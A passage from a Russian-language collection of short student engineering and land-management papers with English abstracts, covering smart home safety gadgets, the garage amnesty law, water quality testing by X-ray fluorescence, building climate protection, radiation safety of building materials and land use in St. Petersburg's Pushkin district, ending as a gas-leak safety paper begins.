Abstract.  This article discusses the possibilities of using smart home technologies to improve home 
security and minimize the consequences of emergencies. The range of modern gadgets and systems 
designed to detect and prevent water and gas leaks, fires, break-ins and other threats is analyzed. 
Special attention is paid to the integration of these devices into a single system that provides its own 
temporary notification of residents and automatic response to problems. An overview of existing 
solutions is presented, as well as promising areas for the development of smart home systems fo-
cused on ensuring security and property protection. 
Ключевые слова: новейшие технологии, искусственный интеллект, умный дом, авария. 
Key words: latest technologies, artificial intelligence, smart home, accident. 
 
 Идея «умного дома» заключается в том, чтобы интегрировать различные систе-
мы и гаджеты для более энергоэффективного использования дома, будь это различные 
альтернативные системы энергопотребления, вместо традиционных, так и применение 
различных гаджетов для предотвращения аварийных ситуаций в доме [1]. 
 Актуальность исследования обусловлена возрастающей аварийностью в жилом 
фонде, что приводит к значительному материальному ущербу и угрозе безопасности 
жильцов. Целью данной работы является исследование возможностей, которые предо-
ставляет умный дом для предотвращения и минимизации последствий типичных ава-
рийных ситуаций [2].  
 Типовые аварийные ситуации и их последствия. Одной из наиболее распростра-
ненных проблем являются утечки воды, вызванные износом труб и неисправностью 
сантехники, приводящие к затоплениям и короткому замыканию.  

Датчики протечки воды (например, Aqara, Fibaro) позволяют своевременно об-
наружить утечку и отправить уведомление на телефон, а при интеграции с электромаг-
нитными клапанами – автоматически перекрыть водоснабжение.  

Утечки газа представляют серьезную опасность из-за риска отравления, взрыва и 
пожара. Датчики газа (Nest Protect, Honeywell Lyric) обнаруживают утечку, предупре-
ждают звуковым сигналом и могут быть интегрированы с системами отключения газа. 
Пожары, возникающие из-за неисправной электропроводки или неосторожного обра-
щения с огнем, приводят к гибели людей и уничтожению имущества.  

Датчики дыма и угарного газа (Nest Protect, First Alert Onelink) оперативно обна-
руживают задымление и повышение уровня угарного газа, оповещают жильцов и могут 
передавать сигнал в пожарную службу.  

Несанкционированное проникновение представляет угрозу безопасности и со-
хранности имущества. Системы видеонаблюдения (Ring, Arlo) обеспечивают визуаль-
ный контроль и запись происходящего, датчики открытия дверей и окон реагируют на 
несанкционированное открытие, а умные замки позволяют дистанционно управлять 
доступом и получать уведомления о входе/выходе.  
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Рисунок 1 – Схематичное изображение взаимодействия приборов  

и электронного носителя 
Перебои в электроснабжении приводят к отключению электроприборов и выхо-

ду оборудования из строя. Умные розетки с функцией мониторинга позволяют отсле-
живать потребление энергии, системы резервного питания (UPS) обеспечивают беспе-
ребойное электроснабжение критически важных устройств, а умные счетчики электро-
энергии отслеживают потребление и предупреждают о перегрузках [3]. 

Итак, подводя итог, хочется подчеркнуть, что возможности умного дома в сфере 
безопасности впечатляют. Анализ современных решений показывает, что автоматизи-
рованные системы, оперативно реагирующие на потенциальные угрозы - будь то про-
течки, пожары или незаконное проникновение — это не просто технологическая при-
хоть, а реальный инструмент для минимизации рисков. 

 Актуальные разработки уже позволяют реализовать эффективные решения, а 
дальнейшее развитие, особенно в направлении интеграции с экстренными службами и 
углубленного анализа данных, открывает перспективы для создания еще более надеж-
ных систем безопасности. 

На мой взгляд, внедрение технологий умного дома – это обоснованный и пер-
спективный шаг для тех, кто стремится обеспечить максимальную защиту своего жилья 
и повысить уровень комфорта и безопасности. 
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Согласно официальной статистике, в Российской Федерации насчитывается око-
ло 3,5 млн неоформленных гаражей [1]. Незарегистрированный и не поставленный на 
учёт гараж может привести к следующим последствиям: 

1) Отсутствие права собственности. Без регистрации владение гаражом будет 
признано не официальным, что может создать проблемы при продаже или передаче 
собственности. 

2) Самовольная постройка. Если гараж был построен без соответствующего раз-
решения или в нарушение законодательства, то владелец может быть оштрафован или 
получить судебный иск на ликвидацию постройки. 

3) Невозможность осуществления перепланировки. Без регистрации гаража, 
владелец не сможет получить разрешение на проведение строительных работ. 

Именно с целью законодательного урегулирования регистрации гаражей был 
разработан Федеральный закон «О внесении изменений в отдельные законодательные 
акты Российской Федерации» от 05.04.2021 № 79-ФЗ, получивший в народе название 
«Закон о гаражной амнистии» (далее – Закон о гаражной амнистии).  

Гаражная амнистия предусматривает упрощённую процедуру оформления гара-
жей и земельных участков под ними. Она способствует повышению легальности и уве-
личению доходов государства за счёт налогов с оформленных объектов. В ходе гараж-
ной амнистии владельцы незарегистрированных гаражей могут оформить своё имуще-
ство законно, уплатив необходимые налоги и сборы.  

В целом, гаражная амнистия стала выгодной для многих граждан, однако её реа-
лизация может столкнуться с различными трудностями и проблемами, которые необхо-
димо учитывать и решать. 

Одной из самых частых причин в отказе регистрации недвижимости по гараж-
ной амнистии является отсутствие правоустанавливающих документов. Большинство 
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гаражей строилось в советский период. В пользовании граждан они оказывались либо 
путём их передачи работникам предприятий бесплатно или за небольшую плату, либо 
группы граждан создавали гаражно-строительные кооперативы (ГСК). Впоследствии 
гараж можно было приобрести у частных лиц, которые владели им. Такие сделки 
обычно оформлялись расписками или другими неофициальными документами. Если 
расписку выдал предыдущий владелец гаража, необходимо доказать его право соб-
ственности или право распоряжаться гаражом. Если прежний собственник неизвестен, 
то оформить право можно в силу приобретательной давности. Это затруднительно, но 
возможно. В этом случае необходимо в течение 15 лет непрерывно, открыто и добросо-
вестно владеть имуществом [2]. 

Помимо перечисленных в Законе о гаражной амнистии документов, необходи-
мых для получения права на гараж, органы власти каждого региона имеют право уста-
новить иные требования. Каждый сотрудник органа регистрации по-своему понимает 
обоснованность предоставленной документации для оформления собственности на не-
движимость. И если у одного владельца принимают предоставленный пакет докумен-
тов и выносят положительное решение, то у другого могут потребовать дополнитель-
ные сведения [3]. Есть вероятность в отказе согласования схемы расположения земель-
ного участка на кадастровом плане территории. Схему собственник может подготовить 
самостоятельно, воспользовавшись утверждённой формой (приказ Росреестра «Об 
утверждении требований к подготовке схемы расположения земельного участка или 
земельных участков на кадастровом плане территории и формату схемы расположения 
земельного участка или земельных участков на кадастровом плане территории при под-
готовке схемы расположения земельного участка или земельных участков на кадастро-
вом плане территории в форме электронного документа, формы схемы расположения 
земельного участка или земельных участков на кадастровом плане территории, подго-
товка которой осуществляется в форме документа на бумажном носителе» от 
19.04.2022 № П/0148), или обратиться за услугой к кадастровому инженеру. Схема 
должна быть составлена в соответствии с установленными нормативами и требования-
ми, например, по площади и расположению гаража, отступам от границ участка и т.д. 
Нельзя затрагивать земельные участки, находящиеся в собственности или пользовании 
других лиц, обременения (например, охранные зоны или сервитуты) должны быть 
учтены. Согласно статье 3.7 Закона о гаражной амнистии, при образовании земельного 
участка нужно было учитывать отсутствие проекта межевания территории, в границах 
которой образовывался участок. Однако вступивший в силу 1 октября 2023 года Феде-
ральный закон «О гаражных объединениях и о внесении изменений в отдельные зако-
нодательные акты Российской Федерации» от 24 июля 2023 № 338-ФЗ внёс изменения 
в эту статью. Теперь причиной отказа не может послужить даже тот факт, что проект 
межевания территории утверждён и не предусматривает образование такого земельного 
участка. Закон не устанавливает чёткого механизма признания права собственности на 
землю под гаражом. В результате граждане могут столкнуться с трудностями при 
оформлении прав на землю, особенно если гараж расположен на муниципальной земле. 
В случае приобретения земельного участка, находящегося в государственной или му-
ниципальной собственности, необходимо обратиться с заявлением о выкупе земли в 
орган власти. Если участок предоставлен ГСК или передан организацией, то право на 
землю под гаражом можно признать в упрощённом порядке по гаражной амнистии. Ес-
ли гараж возведён на самовольно занятом земельном участке, то гражданину необхо-
димо подать исковое заявление в суд с требованием признать право собственности. 
Вместе с заявлением и правоустанавливающими документами необходимо приложить 
документы, подтверждающие невозможность оформления земельного участка в уста-
новленном порядке. 
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Органы власти могут отказать в оформлении гаража в собственность, если гараж 
признан некапитальным. В законе указано, что капитальным признан гараж, имеющий 
фундамент. Однако не уточняется, какой именно фундамент должен быть. В суд граж-
дане обращаются за обжалованием отказа органов власти в признании гаража капи-
тальным. Статистика показывает, что по данному вопросу суд часто выносит положи-
тельные решения для владельцев гаражей. Такой высокий процент признания капи-
тальности гаражей объясняется тем, что суды учитывают не только формальные при-
знаки капитальности (наличие фундамента, стен, крыши), но и фактическое использо-
вание гаража. Если гараж используется для хранения транспортного средства и имеет 
все необходимые для этого характеристики, суд может признать его капитальным стро-
ением. Согласно Закону о гаражной амнистии регистрации подлежат только те гаражи, 
которые были возведены до 29 декабря 2004 года, то есть до дня введения в действие 
Градостроительного кодекса Российской Федерации № 190-ФЗ. Однако в законе не 
уточняется, имеют ли право воспользоваться упрощённым порядком оформления гара-
жа в собственность граждане, чей гараж на тот момент находился в стадии строитель-
ства, но уже мог использоваться по назначению [4]. 

При проведении кадастровых работ могут возникнуть ситуации, при которой 
границы образуемого земельного участка накладываются на смежный, уже учтённый в 
ЕГРН. Такой случай подразумевает вынесение решения об отказе или приостановке 
учёта земельного участка. Если обнаружилось наложение, то это означает, что факти-
ческое местоположение границ смежного земельного участка не совпадает с имеющи-
мися в ЕГРН координатами и может свидетельствовать о наличии реестровой ошибки 
[5]. В таком случае кадастровый инженер должен подготовить межевой план, в состав 
которого будет включено заключение о наличии реестровой ошибки и предложениях 
по её исправлению (внесению изменений в сведения ЕГРН). Такая же ошибка может 
возникнуть и при координировании гаражей (если они имеют общую стену). Как пра-
вило такие ситуации разрешаются в судебном порядке с проведением судебной земле-
устроительной экспертизы [6]. Также нельзя исключать возможность коррупционных 
злоупотреблений и необоснованных требований со стороны чиновников, что может 
препятствовать честной и справедливой амнистии.  

Отказ в регистрации может быть обжалован в судебном порядке. Точной стати-
стики обращений в суд по вопросам гаражной амнистии нет. Однако количество таких 
обращений относительно невелико. Это может быть связано с тем, что закон подробно 
регламентирует порядок оформления гаражей и земельных участков под ними, а также 
с тем, что уполномоченные органы (Росреестр и МФЦ) стараются оказывать заявите-
лям всю необходимую помощь и консультации. В большинстве случаев, если требова-
ния обоснованы и представлены необходимые доказательства, то суды встают на сто-
рону заявителей. Конечно, закон о гаражной амнистии имеет некоторые неточности и 
проблемы, но следует признать, что этот механизм урегулирования вопросов регистра-
ции гаражей играет важную роль в защите прав собственности граждан. Важно про-
должить работу над улучшением закона и устранением возможных проблем, чтобы 
обеспечить более справедливый и эффективный процесс регистрации. 
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АНАЛИЗ КАЧЕСТВА ВОДЫ ПОСЕЛКА ЯГОДНЫЙ И ГОРОДА 
КОМСОМОЛЬСК-НА-АМУРЕ 
 
WATER QUALITY ANALYSIS OF THE VILLAGE OF YAGODNY  
AND THE CITY OF KOMSOMOLSK-ON-AMUR 
 
Аннотация. В статье представлен анализ качества воды в поселке Ягодный с использо-
ванием методов РФА (рентгенофлуоресцентный анализ). Исследование охватывает во-
ду из различных источников, включая родник, ручей, озеро, бочки и оценивает её по 
ключевым параметрам: чистота, содержание примесей и безопасность для здоровья. 
Результаты анализа демонстрируют степень соответствия воды санитарным нормам и 
подчеркивают необходимость регулярного контроля. Качество воды было сравнено с 
водой из Комсомольского-на-Амуре государственного университета. Результатом ра-
боты является сравнения качества воды по нормам ПДК, а также общему количеству 
примесей. 
Abstract. The article presents an analysis of water quality in Yagodny settlement using XRF 
(X-ray fluorescence analysis) methods. The study covers water from various sources, includ-
ing spring, brook, lake, barrels and evaluates it by key parameters: purity, impurity content 
and health safety. The results of the analysis demonstrate the extent to which the water meets 
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sanitary standards and emphasise the need for regular monitoring. Water quality was com-
pared with water from Komsomolsk-on-Amur State University. The result of the work is a 
comparison of water quality in terms of MPC norms as well as the total number of impurities. 
Ключевые слова: РФА, вода, качество воды, примеси, контроль по ПДК 
Key words: XRF, water, water quality, impurities, MAC control 
 

Актуальность исследования качества воды в поселке Ягодный обусловлена 
необходимостью обеспечения населения безопасной питьевой водой, что остается клю-
чевым направлением государственной политики в рамках федерального проекта «Чи-
стая вода». Согласно данным Роспотребнадзора, даже при стабильном уровне качества 
воды в регионах сохраняются риски загрязнения, требующие регулярного контроля. В 
условиях роста экологических нагрузок, включая сельскохозяйственный сток, про-
мышленные выбросы и бытовые отходы, комплексная оценка водных ресурсов приоб-
ретает стратегическое значение.  

Использование в работе метода РФА(установка Rigaku) анализа воды позволяет 
определить наличие различных вредных примесей: серы, фосфора, кремния и других, а 
также сравнить их количество с нормативными документами, такими как: ГОСТ Р 
51232-98, ГОСТ 2874-82, ГОСТ 4388-72, ГОСТ 4974-2014, ГОСТ 31857-2012, СанПиН 
2.1.4.1074-01, ПДК. Рентгенофлуоресцентный анализ (РФА) Rigaku — метод элемент-
ного анализа, основанный на регистрации характеристического рентгеновского излуче-
ния, испускаемого пробой при облучении высокоэнергетическими фотонами. 

Целью работы было выяснить качество воды в поселке, а также сравнить его по 
безопасности с водой из Комсомольского-на-Амуре государственного университета. 
Регулярный мониторинг качества воды не только соответствует требованиям законода-
тельства, но и обеспечивает защиту прав граждан на безопасные условия жизни. Ре-
зультаты таких исследований позволяют разработать целевые меры по модернизации 
инфраструктуры, очистке водоёмов и повышению информированности населения. 

Качество воды, как ключевой индикатор экологического благополучия и без-
опасности для здоровья, требует постоянного мониторинга, особенно в условиях воз-
растающей антропогенной нагрузки. В рамках исследования проведен РФА-анализ 
проб, отобранных из разнообразных источников: скважин, озер, родников, ручьев, ко-
лодцев поселка Ягодный, а также водопроводных систем университетских кафедр. Ре-
зультаты сопоставлены с требованиями ГОСТ Р 51232-98, ГОСТ 2874-82, СанПиН 
2.1.4.1074-01 и других нормативных документов. Основное внимание уделено выявле-
нию концентраций элементов, представляющих потенциальную опасность, а также 
анализу элементов, не регламентированных действующими стандартами. 

Пробы воды из скважин поселка демонстрируют повышенные концентрации 
алюминия (Al) — 646–659 ppm, что значительно превышает ПДК (0,5 ppm по СанПиН). 
Это может быть связано с естественным вымыванием алюминия из почвенных минера-
лов или использованием алюминиевых коагулянтов в системах водоподготовки. Также 
отмечается высокое содержание молибдена (Mo) — 64,7–79,8 ppm при норме 0,07 ppm. 
Молибден, хотя и является микроэлементом, в избытке может оказывать токсическое 
действие на организм. Интерес вызывает наличие ниобия (Nb) в концентрациях 13,9–
19,0 ppm. Поскольку ПДК для ниобия не установлено, его присутствие требует допол-
нительных токсикологических исследований. В пробе из скважины обнаружен теллур 
(Te) — 24,6 ppm, что также не регламентировано нормативами, но требует внимания 
из-за потенциальной канцерогенности. 

Пробы из озер и родников поселка характеризуются умеренными значениями 
большинства элементов. Однако молибден (Mo) остается проблемным компонентом: в 
озерах его концентрация достигает 53,8 ppm, в родниках — 49,4–57,3 ppm. Это может 
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указывать на геогенное происхождение, связанное с выщелачиванием из горных пород, 
или на локальное загрязнение от сельскохозяйственных удобрений. 

В пробе из озера зафиксировано серебро (Ag) — 95,8 ppm, что значительно вы-
ше ПДК (0,05 ppm). Источником могли стать природные месторождения или остаточ-
ные количества реагентов, используемых в водоочистке. В родниках отмечается повы-
шенное содержание хлора (Cl) — 171–176 ppm, что близко к верхней границе нормы 
(350 ppm), но не критично. Пробы из ручьев поселка и колодца Силинского парка де-
монстрируют схожие тенденции. Концентрации алюминия (Al) варьируются от 525 до 
564 ppm, что в тысячу раз превышает ПДК. Это может быть связано с антропогенным 
влиянием. В колодце Силинского парка выявлены высокие концентрации ниобия (Nb) 
— 18,9 ppm и молибдена (Mo) — 82,8 ppm. Подобные значения требуют изучения гид-
рогеологических условий, так как ниобий редко встречается в природных водах в таких 
количествах. Возможна связь с техногенными факторами, например, сбросами от близ-
лежащих производств. Пробы, отобранные из водопроводных систем университета, де-
монстрируют стабильные результаты, в которых ни один из элементов не отклоняется в 
большую сторону от норм ПДК. Сравнение с нормативами и выявление ключевых про-
блем: Молибден (Mo). Концентрации в 600–1200 раз выше нормы (0,07 ppm) выявлены 
в скважинах, колодцах и озерах. Длительное употребление такой воды может привести 
к молибденозу — заболеванию, поражающему суставы и почки. 

Хлор (Cl). Несмотря на то, что его уровни (58,3–360 ppm) не превышают ПДК 
(350 ppm), близкие к пределу значения в скважинах требуют контроля для предотвра-
щения коррозии труб и ухудшения органолептических свойств воды. Нерегламентиро-
ванные элементы. Ниобий (Nb), теллур (Te) и другие редкие элементы обнаружены в 
концентрациях до 24,6 ppm. Отсутствие нормативов для этих веществ затрудняет оцен-
ку их опасности, что подчеркивает необходимость актуализации стандартов.  

По результатам анализа всех источников были составлены диаграммы содержа-
ния вредных примесей в различных водных источниках (рисунок 1). 

Проведенное исследование выявило комплексные проблемы качества воды в 
различных источниках. Наибольшую опасность представляют алюминий и молибден, 
концентрации которых многократно превышают допустимые нормы. Природные ис-
точники, несмотря на кажущуюся чистоту, требуют не менее пристального внимания, 
чем антропогенные объекты. 

 
Рисунок 1 – Количество элементов, превышающих нормы ПДК 

Ключевым шагом к улучшению ситуации является сочетание технологических 
решений (фильтрация, мониторинг) и совершенствование нормативной базы. Только 
так можно обеспечить безопасность водных ресурсов для текущих и будущих поколе-
ний.  
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ЗАЩИТА ОТ НЕБЛАГОПРИЯТНОГО КЛИМАТА В УСЛОВИЯХ  
ДАЛЬНЕГО ВОСТОКА 
 
PROTECTION FROM ADVERSE CLIMATE IN THE CONDITIONS  
OF THE FAR EAST 
 
Аннотация. В статье рассматриваются основные факторы, влияющие на микроклимат в 
помещениях, и предлагаются инженерные решения для обеспечения комфортных усло-
вий проживания и работы в регионе. Результаты исследований показали, что комплекс-
ный подход, включающий рациональное проектирование зданий, использование со-
временных теплоизоляционных материалов и систем вентиляции, позволяет создать 
оптимальный микроклимат в помещениях, отвечающий санитарно-гигиеническим тре-
бованиям и обеспечивающий комфортное пребывание людей. 
Abstract. The article examines the main factors affecting the indoor microclimate and propos-
es engineering solutions to ensure comfortable living and working conditions in the region. 
The results of the research showed that a comprehensive approach, including rational building 
design, the use of modern thermal insulation materials, and ventilation systems, allows for the 
creation of an optimal indoor microclimate that meets sanitary and hygienic requirements and 
ensures comfortable living conditions for people. 
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Суровые климатические условия Дальнего Востока требуют принятия мер по 
защите жилых и общественных зданий от неблагоприятных воздействий внешней сре-
ды. Микроклимат закрытых помещений создаётся искусственно для того, что-
бы обеспечить наиболее благоприятные условия для людей и защитить их от неблаго-
приятных климатических воздействий извне [1].  

Человек достаточно много времени проводит в помещении и от степени соот-
ветствия помещения его физиологическим требованиям зависит состояние здоровья и 
работоспособность человека [2]. Дальний Восток характеризуется суровыми климатически-
ми условиями, такими как длительные периоды низких температур, сильные ветры и высокая 
влажность. Эти факторы оказывают значительное влияние на микроклимат в помещениях, что 
может привести к дискомфорту и ухудшению здоровья людей. На рисунке 1 приведены опти-
мальные значения микроклимата для помещений с учетом времени года. 

 
Рисунок 1 - Оптимальные параметры микроклимата в жилых помещениях 
Для обеспечения комфортных условий проживания и работы в зданиях на Даль-

нем Востоке необходимо принимать комплексные меры по защите от неблагоприятного 
климата.  

К основным инженерным решениям относятся [3, 4]: 
1. Рациональное проектирование зданий. Ориентация зданий относительно сто-

рон света, выбор формы и размера оконных проемов, использование ветрозащитных 
конструкций позволяют минимизировать теплопотери и защитить помещения от ветра. 

2. Использование современных теплоизоляционных материалов. Высокоэффек-
тивные теплоизоляционные материалы, такие как минеральная вата, экструдированный 
пенополистирол, позволяют значительно снизить теплопотери через стены, крышу и 
пол, обеспечивая поддержание комфортной температуры в помещениях. 

3.Системы вентиляции. Эффективная система вентиляции обеспечивает приток 
свежего воздуха в помещение, удаление загрязненного воздуха и поддержание опти-
мальной влажности. Для условий Дальнего Востока рекомендуется использовать си-
стемы вентиляции с рекуперацией тепла, которые позволяют экономить энергию на по-
догрев приточного воздуха. Кроме инженерных решений, важную роль в обеспечении 
комфортного микроклимата играет поведение самих людей. Правильное использование 
систем отопления и вентиляции, регулярное проветривание помещений, использование 
увлажнителей воздуха в зимний период способствуют поддержанию оптимальных па-
раметров микроклимата [5]. 
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РАДИАЦИОННАЯ БЕЗОПАСНОСТЬ СТРОИТЕЛЬНЫХ МАТЕРИАЛОВ 
 
RADIATION SAFETY OF BUILDING MATERIALS 
 
Аннотация.  В статье рассматриваются вопросы радиационной безопасности строи-
тельных материалов. Определены основные источники радиационного воздействия на 
человека, связанные с использованием строительных материалов,  обоснованы крите-
рии оценки радиационной безопасности строительных материалов. Приведены требо-
вания к радиационной безопасности строительных материалов, установленные норма-
тивными документами. Рассмотрены методы контроля радиационной безопасности и 
даны рекомендации по выбору и применению радиационно-безопасных строительных 
материалов. 
Abstract. The article considers issues of radiation safety of building materials. The main sources 
of radiation exposure to humans associated with the use of building materials are defined and 
the criteria for assessing the radiation safety of building materials are substantiated. The re-
quirements for radiation safety of building materials established by regulatory documents are 
given. Methods for monitoring the radiation safety of building materials are considered and rec-
ommendations are given for the selection and use of radiation-safe building materials 
Ключевые слова: cтроительные материалы, радиационная безопасность, нормы, источ-
ники. 
Keywords: building materials, radiation safety, standards, sources. 
 

Строительные материалы играют важную роль в обеспечении безопасности и 
благополучия людей, проживающих в зданиях и сооружениях. Однако некоторые стро-
ительные материалы могут содержать радиоактивные элементы, которые представляют 
угрозу для здоровья человека и окружающей среды  [1]. 

Радиационная безопасность строительных материалов является важным аспек-
том обеспечения безопасности строительства и эксплуатации зданий и сооружений. Ра-
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диационное воздействие на человека может происходить за счет естественных и техно-
генных источников ионизирующего излучения [2, 3]. 

К естественным источникам радиационного воздействия (рисунок 1) относятся 
космическое излучение, излучение земной коры и внутреннее облучение человека ра-
дионуклидами, содержащимися в организме. 

Техногенными источниками радиационного воздействия могут быть аварии на 
атомных электростанциях, радиоактивные отходы и строительные материалы, содер-
жащие природные радионуклиды. 

 
Рисунок 1- Процент вклада естественных источников радиационного воздействия 

Основными радионуклидами, содержащимися в строительных материалах явля-
ются уран-238, торий-232 и калий-40. Концентрация этих радионуклидов в строитель-
ных материалах зависит от геологического происхождения материала, технологии его 
добычи и переработки. 

Радиационная безопасность строительных материалов оценивается по показате-
лю эффективной удельной активности (ЭУА), который характеризует количество ради-
онуклидов в материале, приходящееся на единицу массы. ЭУА выражается в беккере-
лях на килограмм (Бк/кг). 

В соответствии с действующими нормативными документами строительные ма-
териалы подразделяются на три класса по радиационной безопасности [4]: 

- I класс - ЭУА не более 370 Бк/кг; 
- II класс - ЭУА от 370 до 740 Бк/кг; 
- III класс - ЭУА более 740 Бк/кг. 
Строительные материалы I класса могут использоваться без ограничений, мате-

риалы II класса - с ограничениями, а материалы III класса - только в отдельных случаях 
и по согласованию с органами государственного санитарно-эпидемиологического 
надзора. Для контроля радиационной безопасности строительных материалов прово-
дятся лабораторные исследования образцов материалов. В ходе исследований опреде-
ляется концентрация радионуклидов в материале и рассчитывается ЭУА. 

Для выбора и применения радиационно-безопасных строительных материалов 
рекомендуется использовать следующие критерии: 

- использование материалов I класса радиационной безопасности; 
-  при использовании материалов II класса - ограничение их применения в жи-

лых зданиях и помещениях общественного назначения; 
-  при использовании материалов III класса - согласование с органами государ-

ственного санитарно-эпидемиологического надзора. 
Радиационная безопасность строительных материалов является важным факто-

ром, влияющим на безопасность и комфорт проживания в зданиях и сооружениях.  
Выбор и применение радиационно-безопасных строительных материалов позво-

ляет минимизировать воздействие на человека и обеспечить благоприятные условия 
для его жизнедеятельности. 
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ПОВЫШЕНИЕ ЭФФЕКТИВНОСТИ ИСПОЛЬЗОВАНИЯ ТЕРРИТОРИИ 
ПУШКИНСКОГО РАЙОНА 
 
IMPROVING THE EFFICIENCY OF USING THE TERRITORY  
OF THE PUSHKIN DISTRICT 
 
Аннотация. Пушкинский район Санкт-Петербурга располагает значительными земель-
ными ресурсами, являясь одним из самых больших по площади в городе. Обладая об-
ширными пространствами, он имеет существенный потенциал для строительства и раз-
вития Санкт-Петербурга, при этом оставаясь одним из культурно-исторических райо-
нов города. Всё большее количество застройщиков планируют реализацию новых про-
ектов переместить в южную часть города Санкт-Петербург, а именно в Пушкинский 
район. Поэтому вопросы эффективного использования не только новых земельных 
участков, но и участков под уже застроенными городскими кварталами весьма актуаль-
ны. Для этого необходимо проводить перманентный мониторинг с целью определения 
эффективности использования территорий и в случае необходимости своевременно 
принимать необходимые меры. 
Abstract. The Pushkinsky District of St. Petersburg has huge land resources, being one of the 
largest in the city in terms of area. With its vast spaces, it has significant potential for the con-
struction and development of St. Petersburg, while remaining one of the cultural and historical 
districts of the city. An increasing number of developers are planning to move the implemen-
tation of new projects to the southern part of St. Petersburg, namely to the Pushkinsky Dis-
trict. Therefore, the issues of efficient use of not only new land plots, but also plots under al-
ready built-up city blocks are very relevant. For this purpose, it is necessary to conduct per-
manent monitoring in order to determine the efficiency of the use of territories and, if neces-
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sary, take the necessary measures in a timely manner. 
Ключевые слова: метод ключей, генеральный план развития территории, территори-
альное зонирование, эффективность использования территории. 
Key words: method of keys, general plan for territorial development, territorial zoning, effi-
ciency of territorial use. 
 

Объект исследования, город Пушкин, располагается в южной части Санкт-
Петербурга граничит с Фрунзенским, Московским, Колпинским районами Санкт-
Петербурга и Тосненским, Гатчинским и Ломоносовским районами Ленинградской об-
ласти. При своих значительных размерах в 240,1 тыс. кв. км, или 16,7% площади 
Санкт-Петербурга, отличается неплотной застройкой, относительно низкой плотностью 
населения и неразвитой транспортной инфраструктурой, но имея при этом значитель-
ную долю рекреации. Как неутомлённая часть Санкт-Петербурга он представляет собой 
сельскохозяйственную, историко-культурную, экологическую и туристическую цен-
ность. Территория объекта исследования является весьма перспективной для планиро-
вания и реализации новых градостроительных проектов разного назначения. Целью ра-
боты является определение эффективности использования земель, с учётом современ-
ного состояния и дальнейших перспектив в соответствии с реализацией Генерального 
плана Санкт-Петербурга, и разработка предложений по увеличению эффективного ис-
пользования земельных участков опираясь на установленное территориальное и функ-
циональное планирование. 

Так как Пушкинский район имеет значительную площадь, для удобства прове-
дения исследования и объективности полученных результатов использовался метод 
ключей. Очевидно, что повышение эффективность использования отдельных террито-
рии населенных пунктов, расположенных в Пушкинском районе, положительно ска-
жется на общей эффективности использования земель всего района. В соответствии с 
данным принципом, был выбран один из кварталов Пушкинского района, а именно 
«Славянка», который недавно застроен и граничит с застроенными и незастроенными 
территориями, что позволит проанализировать эффективность использования террито-
рии в квартале строительство, которого завершилось более 10 лет назад. 

Для выявления неиспользуемых земельных участков была произведена 
инвентаризация земель, в ходе которой установлено что, территория имеет кадастро-
вый номер: 78:42:0018304, площадь 2 848 620.82 кв. м, и включает в себя 328 участков, 
в том числе 183 объектов капительного строительства. Так же в результате обследова-
ния выявлены участки неиспользуемые по назначению (таблица 1). 

Таблица 1 – Инвентаризация неиспользуемых участков 
Схема 

располо-
жения ЗУ 

Пло-
щадь, 
кв.м. 

ВРИ Примечания 
Терри-

ториаль-
ная зона 

 
6561 

Для размещения жи-
лого дома (жилых до-
мов) 

Пустырь со строитель-
ным мусором 

 

Т3Ж2 

 

13158 

Для размещения ам-
булаторно-
поликлинических  
учреждений 

Пустырь 

 

Т3Ж2 

 
11409 

Для размещения объ-
ектов розничной тор-
говли 

Пустырь  

 
Т3Ж2 
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Продолжение таблицы 1 

 
240000 Отсутствует Болото ТР5-2 

 
57781 Отсутствует Пустырь Т3Ж2 

 
54993 

Для размещения кры-
тых спортивных ком-
плексов  
без трибун для зрите-
лей 

Строиться парк ТР-0 

 
6 800 

Благоустройство тер-
ритории 

Строительный мусор ТР2 

 
19234 

Для размещения мно-
гоэтажных и подзем-
ных гаражей 

Пустырь Т3Ж2 

 
22622 

Для размещения объ-
ектов розничной тор-
говли 

Пустырь Т3Ж2 

По материалам, полученным в результате проведённой инвентаризации можно 
сделать вывод о том, что в исследуемом квартале на сегодняшний день незначительный 
процент участков рекреационного назначения. Ближайшая рекреация находятся в горо-
де Пушкин, что минимум в 15 минутной доступности с использованием общественного 
транспорта, вместе с тем огромные по площади земельные участки в пределах данного  

Рисунок 1 – Диаграмма эффективности использования 
территории Славянки к 2030 году 

квартала представляют собой заболоченные пустыри, которые зарастают сор-
ным травостоем и кустарниками, становясь стихийными несанкционированными свал-
ками мусора. Это подтверждает низкую эффективность использования городских зе-
мель, с учётом их территориального зонирования, более того на сегодняшний день око-
ло 14 % территории не используется по назначению.  
В соответствии с новым утверждённым генеральным планом Санкт-Петербурга, приня-
тым до 2030 года часть этих земель, предназначена для проектов по благоустройству и 
некоторые из них уже реализованы до 2020 года. С учётом данных обстоятельств со-
гласно рисунку 1 всё равно 13 % земель не будут использоваться по назначению. 

Учитывая существующее нормативы ВРИ, согласно территориальному планиро-
ванию, с учётом того что могут быть изменения в действующие показатели УРИ, мож-
но предложить логичный вариант повышения показателя эффективности территории. 
Одним из таких возможных способов, демонстрируемых на рисунке 2 является исполь-
зование земельного участка под сквер с местами для тихого отдыха населения. 
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Рисунок 2 – Спутниковый снимок неиспользуемого земельного участка 

Анализируя местоположение и фактическое состояние участка можно с уверен-
ностью свидетельствовать о том, что он является запустевшим (пустырем) и использу-
ется местными жителями лишь для скорейшего транзита от дороги к близь располо-
женным жилым домам. А в весенне-осенний период исследуемый участок становится 
вообще непроходимым из-за отсутствия твёрдого покрытия и сплошного месива из гря-
зи и луж. Для решения поставленной проблемы и повышения процента озеленения с 
зонами рекреации в районе было предложено размещение зелёного сквера, план кото-
рого представлен на рисунке 3. 

 На основании проведённых исследований и полученных результатов 
определения эффективности использования земель в микрорайоне Славянка 
Пушкинского района было выявлено, что даже с учётом принятых проектов, 
реализуемых до 2030 года, около 13 % территории не планируется к использованию так 
как представляют собой заболоченность, пустыри, земельные участки с 
несанкционированными свалками и иными неудобьями. 

Для частичного изменения в положительном направлении и общего повышения 
эффективности использования территории района, на выбранном участке предложено 
реализовать проект зелёного сквера с малыми архитектурными формами, для отдыха 
горожан и туристов, а также повышения процента озеленения учитывая особенности 
района. 

Рисунок 3 – Схема сквера на месте неиспользуемого
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БЕЗОПАСНОСТЬ В ЖИЛЫХ ПОМЕЩЕНИЯХ: УТЕЧКА ГАЗА 
 
SAFETY IN RESIDENTIAL PREMISES: GAS LEAK 

 
Аннотация. В статье изучена проблема утечки газа — это серьезная проблема, которая 
может привести к опасным последствиям. Рассмотрены основные причины возникно-
вения утечек,  меры предосторожности, необходимые для обеспечения безопасности в 
жилых помещениях  и действия населения, попавших в чрезвычайную ситуацию, свя-
